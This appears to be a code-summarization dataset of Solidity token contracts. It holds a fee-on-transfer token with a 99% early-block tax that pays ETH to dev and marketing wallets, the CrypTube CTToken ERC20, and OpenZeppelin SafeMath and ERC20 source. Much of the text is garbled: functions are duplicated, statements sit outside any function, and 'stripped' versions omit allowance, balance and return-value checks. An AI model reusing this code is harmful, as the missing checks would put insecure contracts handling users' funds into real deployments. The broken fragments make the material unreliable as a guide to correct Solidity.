!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(sender, recipient, 0);
return;
}
if (
sender != owner() &&
recipient != owner() &&
!isSwapping
) {
if (!isTrading) {
require(_isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "Trading is not active.");
}
if (marketPair[sender] && !_isExcludedMaxTransactionAmount[recipient]) {
require(amount <= maxBuyAmount, "buy transfer over max amount");
}
else if (marketPair[recipient] && !_isExcludedMaxTransactionAmount[sender]) {
require(amount <= maxSellAmount, "Sell transfer over max amount");
}
if (!_isExcludedMaxWalletAmount[recipient]) {
require(amount + balanceOf(recipient) <= maxWalletAmount, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= thresholdSwapAmount;
if (
canSwap &&
swapEnabled &&
!isSwapping &&
marketPair[recipient] &&
!_isExcludedFromFees[sender] &&
!_isExcludedFromFees[recipient]
) {
isSwapping = true;
swapBack();
isSwapping = false;
}
bool takeFee = !isSwapping;
if (_isExcludedFromFees[sender] || _isExcludedFromFees[recipient]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = 0;
if(block.number < taxTill) {
fees = amount.mul(99).div(100);
tokensForMarketing += (fees * 5) / 99;
tokensForDev += (fees * 5) / 99;
fees = amount.mul(_fees.sellTotalFees).div(100);
tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
tokensForDev += fees * _fees.sellDevFee / _fees.sellTotalFees;
}
else if (marketPair[sender] && _fees.buyTotalFees > 0) {
fees = amount.mul(_fees.buyTotalFees).div(100);
tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
tokensForDev += fees * _fees.buyDevFee / _fees.buyTotalFees;
}
if (fees > 0) {
super._transfer(sender, address(this), fees);
}
amount -= fees;
}
super._transfer(sender, recipient, amount);
}
function swapTokensForEth(uint256 tAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tAmount,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tAmount);
}
router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp);
function swapBack() private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if (contractTokenBalance > thresholdSwapAmount * 20) {
contractTokenBalance = thresholdSwapAmount * 20;
}
uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 newBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
}
}
if (contractTokenBalance == 0 || toSwap == 0) { return; }
function swapBack() private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if (contractTokenBalance > thresholdSwapAmount * 20) {
contractTokenBalance = thresholdSwapAmount * 20;
}
uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 newBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
}
}
uint256 liquidityTokens = contractTokenBalance * tokensForLiquidity / toSwap / 2;
function swapBack() private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if (contractTokenBalance > thresholdSwapAmount * 20) {
contractTokenBalance = thresholdSwapAmount * 20;
}
uint256 amountToSwapForETH = contractTokenBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 newBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap);
uint256 ethForDev = newBalance.mul(tokensForDev).div(toSwap);
uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDev);
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity);
}
}
(success,) = address(devWallet).call{ value: (address(this).balance - ethForMarketing) } ("");
(success,) = address(marketingWallet).call{ value: address(this).balance } ("");
}
| 4,358,713
|
[
1,
4625,
348,
7953,
560,
30,
225,
6138,
8181,
1267,
2943,
2,
0,
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] |
//Address: 0x0509a863569f2e9253a1fc8d4bc90a7a0cf9d2e4
//Contract name: CTToken
//Balance: 0 Ether
//Verification Date: 2/6/2018
//Transacion Count: 3
// CODE STARTS HERE
pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 constant public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
contract OwnableToken is TokenERC20 {
address public owner;
function OwnableToken(uint256 initialSupply, string tokenName, string tokenSymbol) public TokenERC20(initialSupply, tokenName, tokenSymbol) {
owner = msg.sender;
}
function setOwner(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract StoppableToken is OwnableToken {
bool public stopped;
function StoppableToken(uint256 initialSupply, string tokenName, string tokenSymbol) public OwnableToken(initialSupply, tokenName, tokenSymbol) {
stopped = false;
}
function stop() public onlyOwner {
require(stopped == false);
stopped = true;
}
function resume() public onlyOwner {
require(stopped == true);
stopped = false;
}
function transfer(address to, uint256 value) public {
require(stopped == false);
super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(stopped == false);
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public returns (bool success) {
require(stopped == false);
return super.approve(spender, value);
}
function burn(uint256 value) public onlyOwner returns (bool success) {
return super.burn(value);
}
function burnFrom(address from, uint256 value) public onlyOwner returns (bool success) {
return super.burnFrom(from, value);
}
}
contract CTToken is StoppableToken {
// Token constants
uint256 constant CTTOKEN_TOTAL_SUPLY = 20000000000; // total 20 billion
string constant CTTOKEN_NAME = "CrypTube";
string constant CTTOKEN_SYMBOL = "CT";
// Lock constants
uint256 constant OWNER_LOCKED_BALANCE_RELEASE_PERIOD_LEN_IN_SEC = 180 days;
uint16 constant OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES = 4;
uint256 constant OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES = 750000000;
uint256 public ownerLockedBalance;
uint256 public tokenCreateUtcTimeInSec;
function CTToken() public StoppableToken(CTTOKEN_TOTAL_SUPLY, CTTOKEN_NAME, CTTOKEN_SYMBOL) {
tokenCreateUtcTimeInSec = block.timestamp;
ownerLockedBalance = OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES * OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES * 10 ** uint256(decimals);
require(balanceOf[msg.sender] >= ownerLockedBalance);
balanceOf[msg.sender] -= ownerLockedBalance;
}
// refuse any payment
function () public {
revert();
}
function time() public view returns (uint) {
return block.timestamp;
}
function unlockToken() public onlyOwner {
require(ownerLockedBalance > 0);
require(block.timestamp > tokenCreateUtcTimeInSec);
uint256 pastPeriodsSinceTokenCreate = (block.timestamp - tokenCreateUtcTimeInSec) / OWNER_LOCKED_BALANCE_RELEASE_PERIOD_LEN_IN_SEC;
if (pastPeriodsSinceTokenCreate > OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES) {
pastPeriodsSinceTokenCreate = OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES;
}
uint256 balanceShouldBeLocked = ((OWNER_LOCKED_BALANCE_TOTAL_RELEASE_TIMES - pastPeriodsSinceTokenCreate) * OWNER_LOCKED_BALANCE_RELEASE_NUM_PER_TIMES) * 10 ** uint256(decimals);
require(balanceShouldBeLocked < ownerLockedBalance);
uint256 balanceShouldBeUnlock = ownerLockedBalance - balanceShouldBeLocked;
ownerLockedBalance -= balanceShouldBeUnlock;
balanceOf[msg.sender] += balanceShouldBeUnlock;
}
}
|
Public variables of the token 18 decimals is the strongly suggested default, avoid changing it This creates an array with all balances This generates a public event on the blockchain that will notify clients This notifies clients about the amount burnt
|
contract TokenERC20 {
string public name;
string public symbol;
uint8 constant public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
Burn(_from, _value);
return true;
}
}
| 12,835,557
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// SPDX-License-Identifier: MIT
// AND GPL-3.0-or-later
pragma solidity 0.8.4;
// includes Openzeppelin 3.4.0 contracts:
// ... Context -> Ownable
// ... SafeMath, Address, SafeERC20
// ... IERC20, ERC20(aka ERC20Detailed),
//import "hardhat/console.sol";
//sol800
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//sol800
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//sol8.0.0
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//sol8.0.0
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
//function sendValue(address payable recipient, uint256 amount) internal {...}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
// functionStaticCall x2
// functionDelegateCall x2
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//---------------------==
//sol8.0.0
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
// function safeApprove(IERC20 token, address spender, uint256 value) internal {
// require((value == 0) || (token.allowance(address(this), spender) == 0),
// "SafeERC20: approve from non-zero to non-zero allowance"
// );
// _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
// }
// function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// uint256 newAllowance = token.allowance(address(this), spender) + value;
// _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
// }
// function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
// unchecked {
// uint256 oldAllowance = token.allowance(address(this), spender);
// require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
// uint256 newAllowance = oldAllowance - value;
// _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
// }
// }
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
function compare( string memory a, string memory b) public pure returns(bool) { return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
*/
library SafeMath {
// function add(uint256 a, uint256 b) internal pure returns (uint256) {
// uint256 c = a + b;
// require(c >= a, "SafeMath: addition overflow");
// return c;
// }
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
}
|
---------------------==sol8.0.0
|
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
| 12,669,281
|
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
